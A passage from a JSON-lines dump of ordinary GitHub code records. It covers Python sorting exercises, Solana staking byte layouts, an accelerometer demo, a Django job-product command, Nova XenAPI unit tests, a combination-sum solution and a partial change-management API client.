:\n small.append(item)\n elif item==pivot:\n med.append(item)\n elif item> pivot:\n large.append(item)\n else: \n raise Exception('ERROR')\n return quick(small) + med + quick(large)\n\n\n# In[50]:\n\n\nnew= quick(array)\nnew\n\n\n# In[62]:\n\n\ndef quick_no_memory(array, fst, lst): #использует доп.память \n if fst>=lst: #базовый случай\n return array\n\n pivot= array[random.randint(fst,lst)]\n i,j=fst,lst\n \n while i<=j:\n while array[i] < pivot:\n i+=1\n while array[j]> pivot:\n j-=1\n \n if i<= j:\n array[i], array[j]= array[j], array[i]\n i,j= i+1, j-1\n quick_no_memory(array, fst, j)\n quick_no_memory(array, i, lst)\n return(array)\n \n\n\n# In[63]:\n\n\nquick_no_memory(array, 0, len(array)-1)\n\n\n# # Встроенная сортировка\n\n# In[64]:\n\n\n#Create array\narray= [i for i in range(10)]\nrandom.shuffle(array)\n\n\n# In[67]:\n\n\ndef reverse_array(array):\n for i in range(len(array)//2):\n array[i], array[len(array)-i-1] = array[len(array)-i-1], array[i]\n\n\n# In[74]:\n\n\nprint(array)\narray.reverse()\narray\n\n\n# In[75]:\n\n\narray.sort(reverse=True)\nprint(array)\n\n\n# In[77]:\n\n\nt=tuple(random.randint(0,100) for i in range(10))\nt=tuple(sorted(t))\n\n\n# In[81]:\n\n\nfrom collections import namedtuple\nfrom operator import attrgetter\nPerson= namedtuple('Person', 'name, age')\np1= Person('Lol', 15)\np2=Person('Kek', 45)\np3=Person('Ololo', 125)\n\npeople=[p1,p2,p3]\n\nresult= sorted(people, key= attrgetter('age'))\nresult\n\n\n# In[94]:\n\n\nsize= int(input('Введите размер сортируемого массива: '))\narray= [random.randint(-100,100) for i in range(size)]\narray\n\n\n# # СОРТИРОВКА ПУЗЫРЬКОМ Reverse\n\n# In[78]:\n\n\nimport random\nsize= int(input('Введите размер сортируемого массива'))\narray= [random.randint(-100,100) for i in range(size)]\narray\n\n\n# In[81]:\n\n\ndef bubble_sort(array):\n stop = True\n print('Начальный массив', array)\n while stop:\n stop = False\n for i in range( len(array)-1):\n if array[i] > array[i+1]:\n array[i], array[i+1] = array[i+1], array[i]\n stop = True\n return array\n\n\n# In[82]:\n\n\nbubble_sort(array)\n\n\n# # СОРТИРОВКА СЛИЯНИЕМ\n\n# In[83]:\n\n\n#Создаем функцию слияния\ndef merge(A, B):\n Res = []\n i = 0\n j = 0\n while i < len(A) and j < len(B):\n if A[i] <= B[j]:\n Res.append(A[i]) \n i += 1 \n else:\n Res.append(B[j]) \n j += 1 \n Res += A[i:] + B[j:] \n return Res\n\n\n# In[89]:\n\n\ndef MergeSort(array): \n if len(array) <= 1: #частный случай для рекурсии\n return array \n else:\n L = array[:len(array) // 2] \n R = array[len(array) // 2:] \n return merge(MergeSort(L), MergeSort(R))\n\n\n# In[90]:\n\n\nMergeSort (array)\n\n\n# Массив размером 2m + 1, где m — натуральное число, заполнен случайным образом. Найдите в массиве медиану. Медианой называется элемент ряда, делящий его на две равные части: в одной находятся элементы, которые не меньше медианы, в другой — не больше медианы.\n\n# In[ ]:\n\n\nsize= int(input('Введите размер сортируемого массива'))\narray= [random.randint(-100,100) for i in range(size)]\nif len(array)%2==0:\n array.append(1)\n\n\n# In[95]:\n\n\ndef quick(array):\n if len(array)<=1: #базовый случай\n return array\n pivot= random.choice(array)\n smaller=[]\n med=[]\n bigger=[]\n for item in array:\n if item < pivot :\n smaller.append(item)\n elif item==pivot:\n med.append(item)\n elif item> pivot:\n bigger.append(item)\n else: \n raise Exception('ERROR')\n return quick(smaller) + med + quick(bigger)\n\n\n# In[96]:\n\n\nquick(array)\n\n","repo_name":"masha1602/Algorithms","sub_path":"Алгоритмы сортировки.py","file_name":"Алгоритмы сортировки.py","file_ext":"py","file_size_in_byte":6886,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34038878590","text":"from construct import Bytes, Padding, Int64ul, Int8ul, BytesInteger\nfrom construct import BitsInteger, BitsSwapped, BitStruct, Const, Flag\nfrom construct import Struct\n\n# Fusion Pools Layout\nSTAKE_INFO_LAYOUT_V4 = Struct(\n \"state\" / Int64ul,\n \"nonce\" / Int64ul,\n \"poolLpTokenAccount\" / Bytes(32),\n \"poolRewardTokenAccount\" / Bytes(32),\n \"totalReward\" / Int64ul,\n \"perShare\" / BytesInteger(16),\n \"perBlock\" / Int64ul,\n \"option\" / Int8ul,\n \"poolRewardTokenAccountB\" / Bytes(32),\n Padding(7),\n \"totalRewardB\" / Int64ul,\n \"perShareB\" / BytesInteger(16),\n \"perBlockB\" / Int64ul,\n \"lastBlock\" / Int64ul,\n \"owner\" / Bytes(32)\n)\n\n# RAY Yield Farming\nSTAKE_INFO_LAYOUT = Struct(\n \"state\" / Int64ul,\n \"nonce\" / Int64ul,\n \"poolLpTokenAccount\" / Bytes(32),\n \"poolRewardTokenAccount\" / Bytes(32),\n \"owner\" / Bytes(32),\n \"feeOwner\" / Bytes(32),\n \"feeY\" / Int64ul,\n \"feeX\" / Int64ul,\n \"totalReward\" / Int64ul,\n \"rewardPerShareNet\" / BytesInteger(16),\n \"lastBlock\" / Int64ul,\n \"rewardPerBlock\" / Int64ul\n)\n\n# Serum Open Orders Book\nACCOUNT_FLAGS_LAYOUT = BitsSwapped( # Swap to little endian\n BitStruct(\n \"initialized\" / Flag,\n \"market\" / Flag,\n \"open_orders\" / Flag,\n \"request_queue\" / Flag,\n \"event_queue\" / Flag,\n \"bids\" / Flag,\n \"asks\" / Flag,\n Const(0, BitsInteger(57)), # Padding\n )\n)\n\n# Serum Open Orders Book\nOPEN_ORDERS_LAYOUT = Struct(\n Padding(5),\n \"account_flags\" / ACCOUNT_FLAGS_LAYOUT,\n \"market\" / Bytes(32),\n \"owner\" / Bytes(32),\n \"base_token_free\" / Int64ul,\n \"base_token_total\" / Int64ul,\n \"quote_token_free\" / Int64ul,\n \"quote_token_total\" / Int64ul,\n \"free_slot_bits\" / Bytes(16),\n \"is_bid_bits\" / Bytes(16),\n \"orders\" / Bytes(16)[128],\n \"client_ids\" / Int64ul[128],\n \"referrer_rebate_accrued\" / Int64ul,\n Padding(7),\n)\n\nUSER_STAKE_INFO_ACCOUNT_LAYOUT = Struct(\n \"state\" / Int64ul,\n \"poolId\" / Bytes(32),\n \"stakerOwner\" / Bytes(32),\n \"depositBalance\" / Int64ul,\n \"rewardDebt\" / Int64ul\n)\n\nUSER_STAKE_INFO_ACCOUNT_LAYOUT_V4 = Struct(\n \"state\" / Int64ul,\n \"poolId\" / Bytes(32),\n \"stakerOwner\" / Bytes(32),\n \"depositBalance\" / Int64ul,\n \"rewardDebt\" / Int64ul,\n \"rewardDebtB\" / Int64ul\n)","repo_name":"Stochastic-Adventure/RaydiumAPYScraper","sub_path":"stake_layout.py","file_name":"stake_layout.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"3"} +{"seq_id":"18288901767","text":"import utime\nfrom machine import I2C,Pin\nfrom usr.adxl346 import Adxl346\n\n# register address\nREG_DEVID\t\t\t= 0x00\t# Device ID\nREG_THRESH_TAP\t\t= 0x1D\t# Tap threshold \nREG_OFSX\t\t\t= 0x1E\t# X-axis offset \nREG_OFSY\t\t\t= 0x1F\t# Y-axis offset \nREG_OFSZ\t\t\t= 0x20\t# Z-axis offset \nREG_DUR\t\t\t\t= 0x21\t# Tap duration \nREG_Latent\t\t\t= 0x22\t# Tap latency \nREG_Window\t\t\t= 0x23\t# Tap window \nREG_THRESH_ACT\t\t= 0x24\t# Activity threshold \nREG_THRESH_INACT\t= 0x25\t# Inactivity threshold \nREG_TIME_INACT\t\t= 0x26\t# Inactivity time \nREG_ACT_INACT_CTL\t= 0x27\t# Axis enable control for activity and inactivity detection \nREG_THRESH_FF\t\t= 0x28\t# Free-fall threshold \nREG_TIME_FF\t\t\t= 0x29\t# Free-fall time \nREG_TAP_AXES\t\t= 0x2A\t# Axis control for single tap/double tap \nREG_ACT_TAP_STATUS\t= 0x2B\t# Source of single tap/double tap \nREG_BW_RATE\t\t\t= 0x2C\t# Data rate and power mode control \nREG_POWER_CTL\t\t= 0x2D\t# Power-saving features control \nREG_INT_ENABLE\t\t= 0x2E\t# Interrupt enable control \nREG_INT_MAP\t\t\t= 0x2F\t# Interrupt mapping control\nREG_INT_SOURCE = 0x30 # Interrupt source\nREG_DATA_FORMAT\t\t= 0x31\t# Data format control \nREG_DATAX0\t\t\t= 0x32\t# X-Axis Data 0 \nREG_DATAX1\t\t\t= 0x33\t# X-Axis Data 1 \nREG_DATAY0\t\t\t= 0x34\t# Y-Axis Data 0 \nREG_DATAY1\t\t\t= 0x35\t# Y-Axis Data 1 \nREG_DATAZ0\t\t\t= 0x36\t# Z-Axis Data 0 \nREG_DATAZ1\t\t\t= 0x37\t# Z-Axis Data 1\nREG_TAP_SIGN\t\t= 0x3A\t# Sign and source for single tap/double tap \n\n# Bandwidth register configuration\nBW_SEL_100 = 0x0A # Bandwidth = 100Hz\nBW_SEL_200 = 0x0B # Bandwidth = 200Hz\nBW_SEL_400 = 0x0C # Bandwidth = 400Hz\nBW_SEL_800 = 0x0D # Bandwidth = 800Hz\nBW_SEL_1600 = 0x0E # Bandwidth = 1600Hz\nBW_SEL_3200 = 0x0F # Bandwidth = 3200Hz\n\n# cmd of interrupt\nSING_TAP_INT = 0X40 # single tap interrupt\nDOUB_TAP_INT = 0X20 # double tap interrupt\nACT_INT = 0X10 # act interrupt\nINACT_INT = 0X08 # inactiveness interrupt\nFF_INT = 0X04 # free fall interrupt\n\nrange_2g = 0x00\nrange_4g = 0x01\nrange_8g = 0x02\nrange_16g = 0x03\n\n\nif __name__ == \"__main__\":\n i2c_dev = I2C(I2C.I2C1, I2C.STANDARD_MODE)\n adxl = Adxl346(i2c_dev)\n adxl.set_range(0x02) #8G range\n adxl.int_enable(DOUB_TAP_INT)\n for i in range(10):\n adxl.process_double_tap()\n x,y,z = adxl.read_acceleration()\n print(\"Acceleration in X-Axis : {} g\" .format(x))\n print(\"Acceleration in Y-Axis : {} g\" .format(y))\n print(\"Acceleration in Z-Axis : {} g\" .format(z))\n print(\" ************************************* \")\n\n utime.sleep(1)","repo_name":"QuecPython/QuecPython_lib_bundles","sub_path":"libraries/ADXL346/adxl346_demo.py","file_name":"adxl346_demo.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6742781470","text":"import pytz\nimport datetime\n\nfrom django.core.exceptions import MultipleObjectsReturned\nfrom django.core.management.base import BaseCommand\nfrom wagtail.wagtailcore.models import Site as Wagtail_Site\n\nfrom store.models import Product, ContentProduct, ProductPrice\nfrom store.models.settings import ProductTypes\nfrom submissions.models import Period, Category\nfrom component_sites.models import ProviderSettings\n\nbase_product_prices = [\n {\n 'title': \"Professional (various levels of experience) - 4 weeks online\",\n 'price': 0.00,\n 'code': \"PROFESSIONAL_4_WEEKS_0\",\n 'priority': 0\n },\n {\n 'title': \"Entry Level only (zero to one year of experience; not AICP) - 4 weeks online\",\n 'price': 0.00,\n 'code': \"ENTRY_LEVEL_0\",\n 'priority': 1\n },\n {\n 'title': \"Internship only (temporary position; no experience required) - 4 weeks online\",\n 'price': 0.00,\n 'code': \"INTERN_0\",\n 'priority': 2\n },\n]\n\n\nclass Command(BaseCommand):\n help = \"This command completes the backend for job posting for a wagtail site.\"\n requires_system_checks = False\n\n def add_arguments(self, parser):\n parser.add_argument('-lp', '--list_products',\n action='store_true',\n help='List all current job products(to see if you need to create a new one '\n 'or update an existing one.',\n )\n parser.add_argument('-ls', '--list_sites',\n action='store_true',\n help='List all current wagtail sites(for attaching to the job product).',\n )\n parser.add_argument('-t', '--ad_title',\n type=str,\n help=\"Name of Ad Product, 'Job Ad, ______'\",\n )\n parser.add_argument('-a', '--ad_abbr',\n type=str,\n help=\"Site abbreviation for the product code, i.e. 'CHAPT_FL' or 'SUSTAIN'\"\n )\n parser.add_argument('-st', '--site_type',\n type=str,\n help=\"Declares the site type, either Chapter(c) or Division(d)\",\n )\n\n def handle(self, *args, **options):\n if options['list_products']:\n self.list_all_job_products()\n elif options['list_sites']:\n self.list_all_sites()\n else:\n ad_title = options['ad_title'] if options['ad_title'] else input(\"Please enter the title of your Job Ad \"\n \"w/o chpt or div; e.g. 'Florida; \")\n ad_abbr = options['ad_abbr'] if options['ad_abbr'] else input(\"Please enter the abbrev of your Job Ad for \"\n \"the code; e.g. 'CHAPT_FL' or 'SUSTAIN'; \")\n if options['site_type'] and options['site_type'].lower() == 'c':\n chapter = True\n elif options['site_type'] and options['site_type'].lower() == 'd':\n chapter = False\n else:\n chapter_in = input('You must enter a site type, either Chapter(c) or Division(d)')\n if chapter_in.lower() in ['c', 'd']:\n chapter = True if chapter_in.lower() == 'c' else False\n else:\n print(\"You've entered an invalid response.\")\n chapter = None\n\n if chapter is not None:\n self.title = 'Job Ad, %s %s' % (ad_title, 'Chapter' if chapter else 'Division')\n self.code = 'JOB_AD_%s' % (ad_abbr)\n proceed = input(\"Is %s the name of the job product you'd like to create code?(y/N)\" % self.code)\n if proceed.lower() == 'y':\n self.job_cont_prod, created = ContentProduct.objects.get_or_create(product__code=self.code,\n publish_status='DRAFT')\n self.job_cont_prod.title = self.title\n self.job_cont_prod.description = self.title\n self.job_cont_prod.save()\n self.job_prod = self.get_or_create_product()\n self.job_cont_prod.product = self.job_prod\n self.job_prod.content = self.job_cont_prod\n self.job_prod.save()\n self.job_cont_prod.save()\n\n ProductPrice.objects.filter(product=self.job_prod).delete() # clear existing productprices\n for price in base_product_prices:\n self.make_job_product_price(price)\n self.category = self.make_category()\n self.period = self.make_period()\n\n self.job_cont_prod.save()\n self.job_prod.save()\n self.job_cont_prod.publish()\n\n\n def get_or_create_product(self):\n prod_dict = {\n 'product_type': ProductTypes.JOB_AD.value,\n 'gl_account': '200954-000000',\n 'imis_code': self.code,\n 'code': self.code,\n 'content': self.job_cont_prod\n }\n\n prod = Product.objects.filter(**prod_dict).first()\n if not prod:\n prod = Product.objects.create(**prod_dict)\n return prod\n\n def make_job_product_price(self, prod_dict=None):\n if prod_dict:\n prod_price, created = ProductPrice.objects.get_or_create(product=self.job_prod, max_quantity=1.00, **prod_dict)\n\n def make_category(self):\n cat_dict = {\n \"title\": self.title,\n \"description\": self.title,\n \"product_master\": self.job_cont_prod.master\n }\n category, created = Category.objects.update_or_create(code=self.code, defaults=cat_dict)\n return category\n\n def make_period(self):\n begin_time = (datetime.datetime.now() - datetime.timedelta(days=365))\n end_time = (datetime.datetime.now() + datetime.timedelta(days=10 * 365))\n\n period_dict = {\n 'begin_time': begin_time,\n 'end_time': end_time,\n 'content_type': 'PAGE',\n 'title': self.title\n }\n period, created = Period.objects.update_or_create(category=self.category, defaults=period_dict)\n return period\n\n def list_all_sites(self):\n all_sites = Wagtail_Site.objects.all()\n print(\"Site Title\", (50 * ' '),\n ' | Site Name ', (40 * ' '),\n ' | Chapter/Division | Job Product')\n print(160 * '-')\n for site in all_sites:\n if 'chapter' in str(site.root_page.content_type).lower():\n chapter = True\n else:\n chapter = False\n print(site.root_page.title, (int(60 - len(str(site.root_page.title))) * ' '), ' |',\n site.site_name, (int(51 - len(str(site.site_name))) * ' '), ' |',\n 'Chapter ' if chapter else 'Division', ' |',\n ProviderSettings.for_site(site).job_product)\n\n return all_sites\n\n def list_all_job_products(self):\n all_job_prods = ContentProduct.objects.filter(code__contains='JOB_AD_', publish_status='PUBLISHED')\n print('\\n\\n')\n print(\"Job Product | ProdMasterID | Job Product Code\")\n print(\"-\" * 80)\n\n for job_prod in all_job_prods:\n print(job_prod.title, int(38 - len(str(job_prod.title))) * ' ', '|',\n job_prod.master.id, int(11 - len(str(job_prod.master.id))) * ' ', '|',\n job_prod.code, int(20 - len(str(job_prod.code))) * ' ', '|',\n )\n return all_job_prods\n","repo_name":"furmanczyk5/Django-Enterprise-App","sub_path":"component_sites/management/commands/create_job_products.py","file_name":"create_job_products.py","file_ext":"py","file_size_in_byte":7884,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"804644294","text":"import stubout\n\nfrom nova import db\nfrom nova import context\nfrom nova import flags\nfrom nova import test\nfrom nova import utils\nfrom nova.auth import manager\nfrom nova.compute import instance_types\nfrom nova.compute import power_state\nfrom nova.virt import xenapi_conn\nfrom nova.virt.xenapi import fake as xenapi_fake\nfrom nova.virt.xenapi import volume_utils\nfrom nova.virt.xenapi.vmops import SimpleDH\nfrom nova.virt.xenapi.vmops import VMOps\nfrom nova.tests.db import fakes as db_fakes\nfrom nova.tests.xenapi import stubs\nfrom nova.tests.glance import stubs as glance_stubs\n\nFLAGS = flags.FLAGS\n\n\nclass XenAPIVolumeTestCase(test.TestCase):\n \"\"\"\n Unit tests for Volume operations\n \"\"\"\n def setUp(self):\n super(XenAPIVolumeTestCase, self).setUp()\n self.stubs = stubout.StubOutForTesting()\n FLAGS.target_host = '127.0.0.1'\n FLAGS.xenapi_connection_url = 'test_url'\n FLAGS.xenapi_connection_password = 'test_pass'\n db_fakes.stub_out_db_instance_api(self.stubs)\n stubs.stub_out_get_target(self.stubs)\n xenapi_fake.reset()\n self.values = {'name': 1, 'id': 1,\n 'project_id': 'fake',\n 'user_id': 'fake',\n 'image_id': 1,\n 'kernel_id': 2,\n 'ramdisk_id': 3,\n 'instance_type': 'm1.large',\n 'mac_address': 'aa:bb:cc:dd:ee:ff',\n }\n\n def _create_volume(self, size='0'):\n \"\"\"Create a volume object.\"\"\"\n vol = {}\n vol['size'] = size\n vol['user_id'] = 'fake'\n vol['project_id'] = 'fake'\n vol['host'] = 'localhost'\n vol['availability_zone'] = FLAGS.storage_availability_zone\n vol['status'] = \"creating\"\n vol['attach_status'] = \"detached\"\n return db.volume_create(context.get_admin_context(), vol)\n\n def test_create_iscsi_storage(self):\n \"\"\" This shows how to test helper classes' methods \"\"\"\n stubs.stubout_session(self.stubs, stubs.FakeSessionForVolumeTests)\n session = xenapi_conn.XenAPISession('test_url', 'root', 'test_pass')\n helper = volume_utils.VolumeHelper\n helper.XenAPI = session.get_imported_xenapi()\n vol = self._create_volume()\n info = helper.parse_volume_info(vol['id'], '/dev/sdc')\n label = 'SR-%s' % vol['id']\n description = 'Test-SR'\n sr_ref = helper.create_iscsi_storage(session, info, label, description)\n srs = xenapi_fake.get_all('SR')\n self.assertEqual(sr_ref, srs[0])\n db.volume_destroy(context.get_admin_context(), vol['id'])\n\n def test_parse_volume_info_raise_exception(self):\n \"\"\" This shows how to test helper classes' methods \"\"\"\n stubs.stubout_session(self.stubs, stubs.FakeSessionForVolumeTests)\n session = xenapi_conn.XenAPISession('test_url', 'root', 'test_pass')\n helper = volume_utils.VolumeHelper\n helper.XenAPI = session.get_imported_xenapi()\n vol = self._create_volume()\n # oops, wrong mount point!\n self.assertRaises(volume_utils.StorageError,\n helper.parse_volume_info,\n vol['id'],\n '/dev/sd')\n db.volume_destroy(context.get_admin_context(), vol['id'])\n\n def test_attach_volume(self):\n \"\"\" This shows how to test Ops classes' methods \"\"\"\n stubs.stubout_session(self.stubs, stubs.FakeSessionForVolumeTests)\n conn = xenapi_conn.get_connection(False)\n volume = self._create_volume()\n instance = db.instance_create(self.values)\n vm = xenapi_fake.create_vm(instance.name, 'Running')\n result = conn.attach_volume(instance.name, volume['id'], '/dev/sdc')\n\n def check():\n # check that the VM has a VBD attached to it\n # Get XenAPI record for VBD\n vbds = xenapi_fake.get_all('VBD')\n vbd = xenapi_fake.get_record('VBD', vbds[0])\n vm_ref = vbd['VM']\n self.assertEqual(vm_ref, vm)\n\n check()\n\n def test_attach_volume_raise_exception(self):\n \"\"\" This shows how to test when exceptions are raised \"\"\"\n stubs.stubout_session(self.stubs,\n stubs.FakeSessionForVolumeFailedTests)\n conn = xenapi_conn.get_connection(False)\n volume = self._create_volume()\n instance = db.instance_create(self.values)\n xenapi_fake.create_vm(instance.name, 'Running')\n self.assertRaises(Exception,\n conn.attach_volume,\n instance.name,\n volume['id'],\n '/dev/sdc')\n\n def tearDown(self):\n super(XenAPIVolumeTestCase, self).tearDown()\n self.stubs.UnsetAll()\n\n\ndef reset_network(*args):\n pass\n\n\nclass XenAPIVMTestCase(test.TestCase):\n \"\"\"\n Unit tests for VM operations\n \"\"\"\n def setUp(self):\n super(XenAPIVMTestCase, self).setUp()\n self.manager = manager.AuthManager()\n self.user = self.manager.create_user('fake', 'fake', 'fake',\n admin=True)\n self.project = self.manager.create_project('fake', 'fake', 'fake')\n self.network = utils.import_object(FLAGS.network_manager)\n self.stubs = stubout.StubOutForTesting()\n FLAGS.xenapi_connection_url = 'test_url'\n FLAGS.xenapi_connection_password = 'test_pass'\n xenapi_fake.reset()\n xenapi_fake.create_local_srs()\n db_fakes.stub_out_db_instance_api(self.stubs)\n xenapi_fake.create_network('fake', FLAGS.flat_network_bridge)\n stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests)\n stubs.stubout_get_this_vm_uuid(self.stubs)\n stubs.stubout_stream_disk(self.stubs)\n self.stubs.Set(VMOps, 'reset_network', reset_network)\n glance_stubs.stubout_glance_client(self.stubs,\n glance_stubs.FakeGlance)\n self.conn = xenapi_conn.get_connection(False)\n\n def test_list_instances_0(self):\n instances = self.conn.list_instances()\n self.assertEquals(instances, [])\n\n def test_get_diagnostics(self):\n instance = self._create_instance()\n self.conn.get_diagnostics(instance)\n\n def test_instance_snapshot(self):\n stubs.stubout_instance_snapshot(self.stubs)\n instance = self._create_instance()\n\n name = \"MySnapshot\"\n template_vm_ref = self.conn.snapshot(instance, name)\n\n def ensure_vm_was_torn_down():\n vm_labels = []\n for vm_ref in xenapi_fake.get_all('VM'):\n vm_rec = xenapi_fake.get_record('VM', vm_ref)\n if not vm_rec[\"is_control_domain\"]:\n vm_labels.append(vm_rec[\"name_label\"])\n\n self.assertEquals(vm_labels, [1])\n\n def ensure_vbd_was_torn_down():\n vbd_labels = []\n for vbd_ref in xenapi_fake.get_all('VBD'):\n vbd_rec = xenapi_fake.get_record('VBD', vbd_ref)\n vbd_labels.append(vbd_rec[\"vm_name_label\"])\n\n self.assertEquals(vbd_labels, [1])\n\n def ensure_vdi_was_torn_down():\n for vdi_ref in xenapi_fake.get_all('VDI'):\n vdi_rec = xenapi_fake.get_record('VDI', vdi_ref)\n name_label = vdi_rec[\"name_label\"]\n self.assert_(not name_label.endswith('snapshot'))\n\n def check():\n ensure_vm_was_torn_down()\n ensure_vbd_was_torn_down()\n ensure_vdi_was_torn_down()\n\n check()\n\n def check_vm_record(self, conn):\n instances = conn.list_instances()\n self.assertEquals(instances, [1])\n\n # Get Nova record for VM\n vm_info = conn.get_info(1)\n\n # Get XenAPI record for VM\n vms = [rec for ref, rec\n in xenapi_fake.get_all_records('VM').iteritems()\n if not rec['is_control_domain']]\n vm = vms[0]\n\n # Check that m1.large above turned into the right thing.\n instance_type = instance_types.INSTANCE_TYPES['m1.large']\n mem_kib = long(instance_type['memory_mb']) << 10\n mem_bytes = str(mem_kib << 10)\n vcpus = instance_type['vcpus']\n self.assertEquals(vm_info['max_mem'], mem_kib)\n self.assertEquals(vm_info['mem'], mem_kib)\n self.assertEquals(vm['memory_static_max'], mem_bytes)\n self.assertEquals(vm['memory_dynamic_max'], mem_bytes)\n self.assertEquals(vm['memory_dynamic_min'], mem_bytes)\n self.assertEquals(vm['VCPUs_max'], str(vcpus))\n self.assertEquals(vm['VCPUs_at_startup'], str(vcpus))\n\n # Check that the VM is running according to Nova\n self.assertEquals(vm_info['state'], power_state.RUNNING)\n\n # Check that the VM is running according to XenAPI.\n self.assertEquals(vm['power_state'], 'Running')\n\n def _test_spawn(self, image_id, kernel_id, ramdisk_id,\n instance_type=\"m1.large\"):\n stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests)\n values = {'name': 1,\n 'id': 1,\n 'project_id': self.project.id,\n 'user_id': self.user.id,\n 'image_id': image_id,\n 'kernel_id': kernel_id,\n 'ramdisk_id': ramdisk_id,\n 'instance_type': instance_type,\n 'mac_address': 'aa:bb:cc:dd:ee:ff',\n }\n conn = xenapi_conn.get_connection(False)\n instance = db.instance_create(values)\n conn.spawn(instance)\n self.check_vm_record(conn)\n\n def test_spawn_not_enough_memory(self):\n FLAGS.xenapi_image_service = 'glance'\n self.assertRaises(Exception,\n self._test_spawn,\n 1, 2, 3, \"m1.xlarge\")\n\n def test_spawn_raw_objectstore(self):\n FLAGS.xenapi_image_service = 'objectstore'\n self._test_spawn(1, None, None)\n\n def test_spawn_objectstore(self):\n FLAGS.xenapi_image_service = 'objectstore'\n self._test_spawn(1, 2, 3)\n\n def test_spawn_raw_glance(self):\n FLAGS.xenapi_image_service = 'glance'\n self._test_spawn(1, None, None)\n\n def test_spawn_glance(self):\n FLAGS.xenapi_image_service = 'glance'\n self._test_spawn(1, 2, 3)\n\n def tearDown(self):\n super(XenAPIVMTestCase, self).tearDown()\n self.manager.delete_project(self.project)\n self.manager.delete_user(self.user)\n self.stubs.UnsetAll()\n\n def _create_instance(self):\n \"\"\"Creates and spawns a test instance\"\"\"\n values = {\n 'name': 1,\n 'id': 1,\n 'project_id': self.project.id,\n 'user_id': self.user.id,\n 'image_id': 1,\n 'kernel_id': 2,\n 'ramdisk_id': 3,\n 'instance_type': 'm1.large',\n 'mac_address': 'aa:bb:cc:dd:ee:ff'}\n instance = db.instance_create(values)\n self.conn.spawn(instance)\n return instance\n\n\nclass XenAPIDiffieHellmanTestCase(test.TestCase):\n \"\"\"\n Unit tests for Diffie-Hellman code\n \"\"\"\n def setUp(self):\n super(XenAPIDiffieHellmanTestCase, self).setUp()\n self.alice = SimpleDH()\n self.bob = SimpleDH()\n\n def test_shared(self):\n alice_pub = self.alice.get_public()\n bob_pub = self.bob.get_public()\n alice_shared = self.alice.compute_shared(bob_pub)\n bob_shared = self.bob.compute_shared(alice_pub)\n self.assertEquals(alice_shared, bob_shared)\n\n def test_encryption(self):\n msg = \"This is a top-secret message\"\n enc = self.alice.encrypt(msg)\n dec = self.bob.decrypt(enc)\n self.assertEquals(dec, msg)\n\n def tearDown(self):\n super(XenAPIDiffieHellmanTestCase, self).tearDown()\n","repo_name":"anotherjesse/nova","sub_path":"nova/tests/test_xenapi.py","file_name":"test_xenapi.py","file_ext":"py","file_size_in_byte":11846,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"22419706035","text":"\"\"\"\nGiven a collection of candidate numbers (candidates) and a target number (target), find all unique combinations\nin candidates where the candidate numbers sum to target.\n\nEach number in candidates may only be used once in the combination.\n\nNote: The solution set must not contain duplicate combinations.\n\n\"\"\"\nimport unittest\nfrom collections import Counter\n\n\nclass Solution:\n def combinationSum2(self, candidates: list, target: int) -> list: # recursive call\n res = []\n\n # Sorting is really helpful, se we can avoid over counting easily\n candidates.sort()\n # print(\"sorted candidates:\", candidates)\n self.dfs(candidates, target, 0, [], res)\n return res\n\n def dfs(self, nums, target, start, comb, res):\n if target < 0:\n return # backtracking\n\n if target == 0:\n res.append(comb)\n return\n\n for i in range(start, len(nums)):\n # To avoid over-counting, we just ignore the duplicates after the first element.\n if i > start and nums[i] == nums[i-1]:\n continue\n\n # If the current element is bigger than the assigned target, there is\n # no need to keep searching, since all the numbers are positive\n if nums[i] > target:\n break\n # We change the start to `i + 1` because one element only could be used once, so we go to next.\n self.dfs(nums, target - nums[i], i+1, comb + [nums[i]], res)\n\n\ncandidates = [10, 1, 2, 7, 6, 1, 5]\ntarget = 8\nres = Solution().combinationSum2(candidates, target)\n\nassert res == [[1, 1, 6], [1, 2, 5], [1, 7], [2, 6]]\n\n\"\"\"\nDFS solutions/templates to 6 different classic backtracking problems & more\n39 Combination Sum\n40. Combination Sum II\n78. Subsets\n90. Subsets II\n46. Permutations\n47. Permutations II\n\nMore good backtracking problems for practice:\n131. Palindrome Partitioning\n784. Lettercase Permutation\n1087. Brace Expansion\n93. Restore IP addresses\n1079 Letter Tile Possibilities\n\"\"\"","repo_name":"Movahe/Leetcode-problems-sovled","sub_path":"40 Combination Sum II.py","file_name":"40 Combination Sum II.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"21850832985","text":"from .base import *\n\nclass Change(Object, openable_mixin):\n listing_endpoint=\"/changes\"\n endpoint=\"/changes/{guid}\"\n\n @property\n @lazy\n def file_associations(self):\n assocs = self._client.Listing(self._client.ChangeFileAssociation, endpoint=f\"/changes/{self.guid}/files\")\n for assoc in assocs:\n assoc.change=self\n return assocs\n\n def add_file(self, file_obj):\n\n \"\"\"\n Add File connection to Change.\n\n Args:\n\n * file_obj - A File object\n \"\"\"\n\n data={\n \"file\":{\n \"guid\":file_obj.guid\n }\n }\n x=self._client._post(f\"/changes/{self.guid}/files\", data=data)\n\n return self._client.ChangeFileAssociation(x.json())\n\n @property\n @lazy\n def item_associations(self):\n assocs = self._client.Listing(self._client.ChangeItemAssociation, endpoint=f\"/changes/{self.guid}/items\")\n for assoc in assocs:\n assoc.change=self\n return assocs\n\n @property\n @lazy\n def implementation_tasks(self):\n tasks = self._client.Listing(self._client.ChangeImplementationTask, endpoint=f\"/changes/{self.guid}/implementationtasks\")\n for task in tasks:\n task.change=self\n return tasks\n \n\n @property\n @lazy\n def implementation_file_associations(self):\n\n files = self._client.Listing(self._client.ImplementationFileAssociation, endpoint=f\"/changes/{self.guid}/implementationfiles\")\n for file in files:\n file.change=self\n return files\n\n\n def add_item(self, item_obj, lifecycle_phase=None, new_rev=None):\n\n \"\"\"\n Add Item revision to Change.\n\n Required arguments:\n\n * item_obj - An Item 